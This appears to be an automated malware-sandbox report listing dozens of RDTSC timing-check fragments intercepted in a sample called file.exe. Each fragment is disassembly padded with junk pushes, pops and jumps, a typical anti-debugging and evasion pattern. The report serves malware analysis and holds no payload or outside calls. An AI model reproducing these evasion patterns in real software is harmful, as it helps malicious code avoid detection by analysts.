Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD9B0 second address: 4CD9B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CDB61 second address: 4CDB67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CDB67 second address: 4CDBD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F5E60CAC692h 0x0000000b jmp 00007F5E60CAC68Ch 0x00000010 jmp 00007F5E60CAC696h 0x00000015 popad 0x00000016 push esi 0x00000017 jmp 00007F5E60CAC692h 0x0000001c pop esi 0x0000001d popad 0x0000001e jc 00007F5E60CAC6ACh 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 jmp 00007F5E60CAC698h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D02D7 second address: 4D02DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D02DF second address: 4D02E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CFE9E second address: 4CFEA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CFEA4 second address: 4CFEA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CFEA8 second address: 4CFEAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D414D second address: 4D4156 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB600 second address: 4DB610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E60BA165Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB610 second address: 4DB614 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB614 second address: 4DB624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F5E60BA1656h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB624 second address: 4DB631 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5E60CAC686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA671 second address: 4DA675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA675 second address: 4DA68D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5E60CAC686h 0x00000008 jo 00007F5E60CAC686h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jnc 00007F5E60CAC688h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48A1A3 second address: 48A1A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE70D second address: 4DE724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jng 00007F5E60CAC686h 0x0000000e push edx 0x0000000f pop edx 0x00000010 jp 00007F5E60CAC686h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE724 second address: 4DE72B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DEE68 second address: 4DEE76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E60CAC68Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E192F second address: 4E1935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1935 second address: 4E1953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 je 00007F5E60CAC686h 0x0000000c jmp 00007F5E60CAC691h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1953 second address: 4E195D instructions: 0x00000000 rdtsc 0x00000002 js 00007F5E60BA1666h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1F47 second address: 4E1F52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1F52 second address: 4E1F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1F58 second address: 4E1F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1F5C second address: 4E1F66 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5E60BA1656h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9F73 second address: 4E9F96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F5E60CAC686h 0x0000000a pop ebx 0x0000000b jng 00007F5E60CAC690h 0x00000011 jmp 00007F5E60CAC68Ah 0x00000016 push eax 0x00000017 push edx 0x00000018 jg 00007F5E60CAC686h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9F96 second address: 4E9FBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA165Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5E60BA1661h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9FBC second address: 4E9FCB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC68Ah 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9FCB second address: 4E9FD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7D46 second address: 4E7D60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E60CAC694h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8077 second address: 4E807D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E89B7 second address: 4E89BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8D04 second address: 4E8D14 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5E60BA1656h 0x00000008 jnc 00007F5E60BA1656h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8FDB second address: 4E8FE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F5E60CAC686h 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8FE6 second address: 4E8FFA instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5E60BA165Ah 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 push edx 0x00000012 pop edx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8FFA second address: 4E9001 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9001 second address: 4E9018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5E60BA165Ch 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9018 second address: 4E901C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9619 second address: 4E9657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5E60BA1656h 0x0000000a pop ebx 0x0000000b push esi 0x0000000c jnc 00007F5E60BA1656h 0x00000012 jmp 00007F5E60BA1660h 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F5E60BA1667h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9657 second address: 4E965B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E965B second address: 4E9678 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5E60BA1656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5E60BA1661h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9922 second address: 4E9926 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9926 second address: 4E993F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60BA165Fh 0x00000007 ja 00007F5E60BA1656h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E993F second address: 4E9969 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E60CAC693h 0x00000007 pushad 0x00000008 jmp 00007F5E60CAC690h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9969 second address: 4E996F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E996F second address: 4E997F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jg 00007F5E60CAC6A3h 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE705 second address: 4EE722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F5E60BA1656h 0x0000000a pop ecx 0x0000000b jo 00007F5E60BA1662h 0x00000011 jp 00007F5E60BA1656h 0x00000017 jl 00007F5E60BA1656h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2390 second address: 4F2394 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2394 second address: 4F239D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F239D second address: 4F23A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1456 second address: 4F145B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F145B second address: 4F146E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5E60CAC68Eh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F146E second address: 4F1474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1474 second address: 4F14BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5E60CAC698h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F5E60CAC698h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F5E60CAC68Eh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F14BE second address: 4F14C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1611 second address: 4F1617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F17EC second address: 4F17F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F17F0 second address: 4F1823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5E60CAC686h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007F5E60CAC696h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F5E60CAC68Fh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1823 second address: 4F1829 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1AB3 second address: 4F1AB8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1C5B second address: 4F1C5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1C5F second address: 4F1C73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F5E60CAC686h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jp 00007F5E60CAC68Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1C73 second address: 4F1CA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F5E60BA1667h 0x0000000a jmp 00007F5E60BA165Fh 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9A43 second address: 4F9A47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7C99 second address: 4F7CAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E60BA165Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7CAC second address: 4F7CB9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5E60CAC686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F80A2 second address: 4F80A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F80A6 second address: 4F80AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8217 second address: 4F821B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F838B second address: 4F838F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F84E0 second address: 4F84ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F84ED second address: 4F84F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8658 second address: 4F865E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F865E second address: 4F8664 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8664 second address: 4F8668 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8668 second address: 4F86A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F5E60CAC686h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jno 00007F5E60CAC692h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push ebx 0x00000015 pushad 0x00000016 jnc 00007F5E60CAC686h 0x0000001c push esi 0x0000001d pop esi 0x0000001e jno 00007F5E60CAC686h 0x00000024 js 00007F5E60CAC686h 0x0000002a popad 0x0000002b js 00007F5E60CAC692h 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F87DA second address: 4F87E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F87E3 second address: 4F87E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F87E9 second address: 4F87EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5034C2 second address: 5034D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F5E60CAC68Ah 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F5E60CAC686h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5034D8 second address: 5034DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504E26 second address: 504E53 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5E60CAC68Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F5E60CAC696h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504E53 second address: 504E57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504E57 second address: 504E5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512B79 second address: 512B96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007F5E60BA1661h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5189CD second address: 5189D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5189D7 second address: 5189DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518B3C second address: 518B53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F5E60CAC68Bh 0x0000000b popad 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518B53 second address: 518B6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 jl 00007F5E60BA1656h 0x0000000f pop esi 0x00000010 jbe 00007F5E60BA165Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518B6D second address: 518B79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F5E60CAC686h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518B79 second address: 518B8E instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5E60BA1656h 0x00000008 jl 00007F5E60BA1656h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ecx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525115 second address: 525119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52CD6C second address: 52CD8B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5E60BA1656h 0x00000008 jnc 00007F5E60BA1656h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edx 0x00000011 jmp 00007F5E60BA165Dh 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B81C second address: 52B82D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 je 00007F5E60CAC686h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B82D second address: 52B833 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B833 second address: 52B837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C007 second address: 52C00B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C00B second address: 52C011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C011 second address: 52C029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5E60BA165Eh 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532B6A second address: 532B74 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5E60CAC692h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
